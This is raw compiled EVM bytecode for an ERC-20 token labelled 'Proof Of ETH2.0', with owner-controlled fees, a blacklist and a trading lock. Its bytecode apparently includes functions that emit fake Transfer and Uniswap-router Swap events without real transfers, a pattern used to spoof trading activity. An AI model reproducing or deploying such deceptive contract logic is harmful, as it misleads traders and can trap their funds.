ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806108aa906137c4565b915050610827565b5050565b60606040518060400160405280600f81526020017f50726f6f66204f6620455448322e300000000000000000000000000000000000815250905090565b5f6109066108ff611a36565b8484611a3d565b6001905092915050565b610918611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b9061374c565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f805f90505b8551811015610c2f57858181518110610a1757610a1661376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610a8057610a7f61376a565b5b6020026020010151604051610a9591906132af565b60405180910390a3858181518110610ab057610aaf61376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b2d57610b2c61376a565b5b60200260200101515f80898781518110610b4a57610b4961376a565b5b6020026020010151604051610b629493929190613844565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610b9957610b9861376a565b5b602002602001015189878581518110610bb557610bb461376a565b5b60200260200101516040518463ffffffff1660e01b8152600401610bdb93929190613887565b6020604051808303815f875af1158015610bf7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1b91906138d0565b508080610c27906137c4565b9150506109fb565b506001905095945050505050565b5f610c49848484611c00565b610d0684610c55611a36565b610d01856040518060600160405280602881526020016142386028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cb8611a36565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124609092919063ffffffff16565b611a3d565b600190509392505050565b60185481565b5f6002905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d4c611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf9061374c565b60405180910390fd5b5f60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610e37611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061374c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f20611a36565b73ffffffffffffffffffffffffffffffffffffffff161480610f95575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f7d611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b610f9d575f80fd5b5f479050610faa816124c2565b50565b5f610ff460025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461252a565b9050919050565b611003611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461108f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110869061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611151611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d49061374c565b60405180910390fd5b8060168190555050565b6111ef611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061374c565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600681526020017f504f45322e300000000000000000000000000000000000000000000000000000815250905090565b611328611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061374c565b60405180910390fd5b8060188190555050565b5f6113d16113ca611a36565b8484611c00565b6001905092915050565b6010602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611438611a36565b73ffffffffffffffffffffffffffffffffffffffff1614806114ad575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611495611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b6114b5575f80fd5b5f6114bf30610fad565b90506114ca81612596565b50565b6114d5611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115589061374c565b60405180910390fd5b5f5b838390508110156115fc578160055f8686858181106115855761158461376a565b5b905060200201602081019061159a91906134ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806115f4906137c4565b915050611563565b50505050565b61160a611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611696576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168d9061374c565b60405180910390fd5b601982856116a491906138fb565b11156116ae575f80fd5b606381846116bc91906138fb565b11156116c6575f80fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117c891906132af565b60405180910390a3600190509392505050565b6117e3611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461186f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118669061374c565b60405180910390fd5b8060178190555050565b611881611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119049061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119729061399e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290613a2c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1090613aba565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bf391906132af565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590613b48565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd390613bd6565b60405180910390fd5b5f8111611d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1590613c64565b60405180910390fd5b611d266112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d945750611d646112b6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561216d57601560149054906101000a900460ff16611e2357611db56112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1990613cf2565b60405180910390fd5b5b601654811115611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90613d5a565b60405180910390fd5b60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611f06575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3c90613de8565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ff15760175481611fa684610fad565b611fb091906138fb565b10611ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe790613e76565b60405180910390fd5b5b5f611ffb30610fad565b90505f601854821015905060165482106120155760165491505b80801561202d575060158054906101000a900460ff16155b8015612086575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561209e5750601560169054906101000a900460ff165b80156120f1575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612144575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561216a5761215282612596565b5f4790505f81111561216857612167476124c2565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061220d575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806122be575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122bd575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156122cb575f905061244e565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612374575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561238c57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612435575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561244d57600a54600c81905550600b54600d819055505b5b61245a848484846127ff565b50505050565b5f8383111582906124a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249e9190613168565b60405180910390fd5b505f83856124b59190613e94565b9050809150509392505050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612526573d5f803e3d5ffd5b5050565b5f600654821115612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613f37565b60405180910390fd5b5f61257961282c565b905061258e818461285590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156125cc576125cb612f11565b5b6040519080825280602002602001820160405280156125fa5781602001602082028036833780820191505090505b50905030815f815181106126115761261061376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126d99190613f69565b816001815181106126ed576126ec61376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127533060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a3d565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b595949392919061404b565b5f604051808303815f87803b1580156127cc575f80fd5b505af11580156127de573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b8061280d5761280c61289e565b5b6128188484846128d7565b8061282657612825612a97565b5b50505050565b5f805f612837612aab565b9150915061284e818361285590919063ffffffff16565b9250505090565b5f61289683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b07565b905092915050565b5f600c541480156128b057505f600d54145b6128d557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806128e687612b68565b9550955095509550955095506129428660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612bc890919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506129d38560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a1d81612c6e565b612a278483612d25565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a8491906132af565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f670de0b6b3a76400009050612adc670de0b6b3a764000060065461285590919063ffffffff16565b821015612afa57600654670de0b6b3a7640000935093505050612b03565b81819350935050505b9091565b5f8083118290612b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b449190613168565b60405180910390fd5b505f8385612b5b91906140d0565b9050809150509392505050565b5f805f805f805f805f612b808a600c54600d54612d5f565b9250925092505f612b8f61282c565b90505f805f612ba08e878787612df1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f612c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612460565b905092915050565b5f808284612c1f91906138fb565b905083811015612c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5b9061414a565b60405180910390fd5b8091505092915050565b5f612c7761282c565b90505f612c8d8284612e7590919063ffffffff16565b9050612cdf8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612d3a82600654612bc890919063ffffffff16565b600681905550612d5581600754612c1190919063ffffffff16565b6007819055505050565b5f805f80612d896064612d7b888a612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612db26064612da4888b612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612dda82612dcc858c612bc890919063ffffffff16565b612bc890919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f80612e088589612e7590919063ffffffff16565b90505f612e1e8689612e7590919063ffffffff16565b90505f612e348789612e7590919063ffffffff16565b90505f612e5c82612e4e8587612bc890919063ffffffff16565b612bc890919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612e85575f9050612ee6565b5f8284612e929190614168565b9050828482612ea191906140d0565b14612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed890614219565b60405180910390fd5b809150505b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612f4782612f01565b810181811067ffffffffffffffff82111715612f6657612f65612f11565b5b80604052505050565b5f612f78612eec565b9050612f848282612f3e565b919050565b5f67ffffffffffffffff821115612fa357612fa2612f11565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612fe182612fb8565b9050919050565b612ff181612fd7565b8114612ffb575f80fd5b50565b5f8135905061300c81612fe8565b92915050565b5f61302461301f84612f89565b612f6f565b9050808382526020820190506020840283018581111561304757613046612fb4565b5b835b81811015613070578061305c8882612ffe565b845260208401935050602081019050613049565b5050509392505050565b5f82601f83011261308e5761308d612efd565b5b813561309e848260208601613012565b91505092915050565b5f602082840312156130bc576130bb612ef5565b5b5f82013567ffffffffffffffff8111156130d9576130d8612ef9565b5b6130e58482850161307a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561312557808201518184015260208101905061310a565b5f8484015250505050565b5f61313a826130ee565b61314481856130f8565b9350613154818560208601613108565b61315d81612f01565b840191505092915050565b5f6020820190508181035f8301526131808184613130565b905092915050565b5f819050919050565b61319a81613188565b81146131a4575f80fd5b50565b5f813590506131b581613191565b92915050565b5f80604083850312156131d1576131d0612ef5565b5b5f6131de85828601612ffe565b92505060206131ef858286016131a7565b9150509250929050565b5f8115159050919050565b61320d816131f9565b82525050565b5f6020820190506132265f830184613204565b92915050565b5f819050919050565b5f61324f61324a61324584612fb8565b61322c565b612fb8565b9050919050565b5f61326082613235565b9050919050565b5f61327182613256565b9050919050565b61328181613267565b82525050565b5f60208201905061329a5f830184613278565b92915050565b6132a981613188565b82525050565b5f6020820190506132c25f8301846132a0565b92915050565b5f67ffffffffffffffff8211156132e2576132e1612f11565b5b602082029050602081019050919050565b5f613305613300846132c8565b612f6f565b9050808382526020820190506020840283018581111561332857613327612fb4565b5b835b81811015613351578061333d88826131a7565b84526020840193505060208101905061332a565b5050509392505050565b5f82601f83011261336f5761336e612efd565b5b813561337f8482602086016132f3565b91505092915050565b5f805f805f60a086880312156133a1576133a0612ef5565b5b5f6133ae88828901612ffe565b955050602086013567ffffffffffffffff8111156133cf576133ce612ef9565b5b6133db8882890161307a565b945050604086013567ffffffffffffffff8111156133fc576133fb612ef9565b5b6134088882890161335b565b935050606086013567ffffffffffffffff81111561342957613428612ef9565b5b6134358882890161335b565b925050608061344688828901612ffe565b9150509295509295909350565b5f805f6060848603121561346a57613469612ef5565b5b5f61347786828701612ffe565b935050602061348886828701612ffe565b9250506040613499868287016131a7565b9150509250925092565b5f60ff82169050919050565b6134b8816134a3565b82525050565b5f6020820190506134d15f8301846134af565b92915050565b6134e081612fd7565b82525050565b5f6020820190506134f95f8301846134d7565b92915050565b5f6020828403121561351457613513612ef5565b5b5f61352184828501612ffe565b91505092915050565b613533816131f9565b811461353d575f80fd5b50565b5f8135905061354e8161352a565b92915050565b5f6020828403121561356957613568612ef5565b5b5f61357684828501613540565b91505092915050565b5f6020828403121561359457613593612ef5565b5b5f6135a1848285016131a7565b91505092915050565b5f80fd5b5f8083601f8401126135c3576135c2612efd565b5b8235905067ffffffffffffffff8111156135e0576135df6135aa565b5b6020830191508360208202830111156135fc576135fb612fb4565b5b9250929050565b5f805f6040848603121561361a57613619612ef5565b5b5f84013567ffffffffffffffff81111561363757613636612ef9565b5b613643868287016135ae565b9350935050602061365686828701613540565b9150509250925092565b5f805f806080858703121561367857613677612ef5565b5b5f613685878288016131a7565b9450506020613696878288016131a7565b93505060406136a7878288016131a7565b92505060606136b8878288016131a7565b91505092959194509250565b5f80604083850312156136da576136d9612ef5565b5b5f6136e785828601612ffe565b92505060206136f885828601612ffe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6137366020836130f8565b915061374182613702565b602082019050919050565b5f6020820190508181035f8301526137638161372a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6137ce82613188565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613800576137ff613797565b5b600182019050919050565b5f819050919050565b5f61382e6138296138248461380b565b61322c565b613188565b9050919050565b61383e81613814565b82525050565b5f6080820190506138575f8301876132a0565b6138646020830186613835565b6138716040830185613835565b61387e60608301846132a0565b95945050505050565b5f60608201905061389a5f8301866134d7565b6138a760208301856134d7565b6138b460408301846132a0565b949350505050565b5f815190506138ca8161352a565b92915050565b5f602082840312156138e5576138e4612ef5565b5b5f6138f2848285016138bc565b91505092915050565b5f61390582613188565b915061391083613188565b925082820190508082111561392857613927613797565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6139886026836130f8565b91506139938261392e565b604082019050919050565b5f6020820190508181035f8301526139b58161397c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613a166024836130f8565b9150613a21826139bc565b604082019050919050565b5f6020820190508181035f830152613a4381613a0a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613aa46022836130f8565b9150613aaf82613a4a565b604082019050919050565b5f6020820190508181035f830152613ad181613a98565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b326025836130f8565b9150613b3d82613ad8565b604082019050919050565b5f6020820190508181035f830152613b5f81613b26565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613bc06023836130f8565b9150613bcb82613b66565b604082019050919050565b5f6020820190508181035f830152613bed81613bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613c4e6029836130f8565b9150613c5982613bf4565b604082019050919050565b5f6020820190508181035f830152613c7b81613c42565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f613cdc603f836130f8565b9150613ce782613c82565b604082019050919050565b5f6020820190508181035f830152613d0981613cd0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613d44601c836130f8565b9150613d4f82613d10565b602082019050919050565b5f6020820190508181035f830152613d7181613d38565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c6973745f8201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b5f613dd26023836130f8565b9150613ddd82613d78565b604082019050919050565b5f6020820190508181035f830152613dff81613dc6565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613e606023836130f8565b9150613e6b82613e06565b604082019050919050565b5f6020820190508181035f830152613e8d81613e54565b9050919050565b5f613e9e82613188565b9150613ea983613188565b9250828203905081811115613ec157613ec0613797565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613f21602a836130f8565b9150613f2c82613ec7565b604082019050919050565b5f6020820190508181035f830152613f4e81613f15565b9050919050565b5f81519050613f6381612fe8565b92915050565b5f60208284031215613f7e57613f7d612ef5565b5b5f613f8b84828501613f55565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613fc681612fd7565b82525050565b5f613fd78383613fbd565b60208301905092915050565b5f602082019050919050565b5f613ff982613f94565b6140038185613f9e565b935061400e83613fae565b805f5b8381101561403e5781516140258882613fcc565b975061403083613fe3565b925050600181019050614011565b5085935050505092915050565b5f60a08201905061405e5f8301886132a0565b61406b6020830187613835565b818103604083015261407d8186613fef565b905061408c60608301856134d7565b61409960808301846132a0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6140da82613188565b91506140e583613188565b9250826140f5576140f46140a3565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614134601b836130f8565b915061413f82614100565b602082019050919050565b5f6020820190508181035f83015261416181614128565b9050919050565b5f61417282613188565b915061417d83613188565b925082820261418b81613188565b915082820484148315176141a2576141a1613797565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6142036021836130f8565b915061420e826141a9565b604082019050919050565b5f6020820190508181035f830152614230816141f7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b1ef5aaf37d8ccbcab00d7032b4b54977da898ea9f70ea3c9139cbd677d655664736f6c63430008140033
Deployed Bytecode Sourcemap
4365:14656:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13949:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6901:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7826:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13373:81;;;;;;;;;;;;;:::i;:::-;;5733:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7178:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8968:734;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8027:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6047:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7087:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5781:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14126:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18276:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13706:235;;;;;;;;;;;;;:::i;:::-;;7281:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1852:148;;;;;;;;;;;;;:::i;:::-;;18416:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18897:118;;;;;;;;;;;;;